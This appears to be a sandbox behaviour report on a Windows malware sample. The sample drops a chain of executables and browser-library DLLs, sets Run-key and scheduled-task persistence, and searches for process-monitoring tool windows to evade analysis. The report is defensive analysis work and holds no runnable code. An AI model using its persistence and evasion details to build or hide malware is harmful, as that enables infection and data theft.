Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Code function: 9_3_036E9B90 pushad ; retf	9_3_036E9B91

Source: file.exe	Static PE information: section name: entropy: 7.171287246787944
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.171287246787944
Source: random[3].exe.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: random[3].exe.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: entropy: 7.980952558000639
Source: 17e7d05a4e.exe.6.dr	Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: random[1].exe.6.dr	Static PE information: section name: gzrpzaat entropy: 7.955149229409411
Source: 0016128732.exe.6.dr	Static PE information: section name: gzrpzaat entropy: 7.955149229409411
Source: random[1].exe2.6.dr	Static PE information: section name: wfipzyes entropy: 7.956035978180135
Source: 48a114f480.exe.6.dr	Static PE information: section name: wfipzyes entropy: 7.956035978180135
Source: random[2].exe.6.dr	Static PE information: section name: vqihsser entropy: 7.94869647218417
Source: fde7a493e9.exe.6.dr	Static PE information: section name: vqihsser entropy: 7.94869647218417
Source: random[2].exe1.6.dr	Static PE information: section name: entropy: 7.982108153140835
Source: random[2].exe1.6.dr	Static PE information: section name: bdbisbrv entropy: 7.953898062321803
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: entropy: 7.982108153140835
Source: 98d75c3c44.exe.6.dr	Static PE information: section name: bdbisbrv entropy: 7.953898062321803

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe

File created: C:\Users\user\Documents\JEHIIDGCFH.exe

Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File created: C:\Users\user\AppData\Local\Temp\VNY2C8VS9PYFPN1RMQ1W6IX8NL5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[5].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	File created: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019455001\c534667f0b.exe	File created: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019461001\1a0440fbc4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019465001\b73717b60b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019466001\6253581e35.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	File created: C:\Users\user\AppData\Local\Temp\UKzjyWlrjRLOjKNNlNHI.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\Documents\JEHIIDGCFH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019467001\ec04af5574.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019458001\906ea9c047.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File created: C:\Users\user\AppData\Local\Temp\Q1QDVYP373AX8IG2OVIMRA4D.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	File created: C:\Users\user\AppData\Local\Temp\9BJKSJ28ISVYA183NQ4PP.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fa82de29a9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98d75c3c44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c08a943ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a0440fbc4.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019456001\48a114f480.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98d75c3c44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98d75c3c44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fa82de29a9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fa82de29a9.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a0440fbc4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1a0440fbc4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c08a943ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3c08a943ba.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
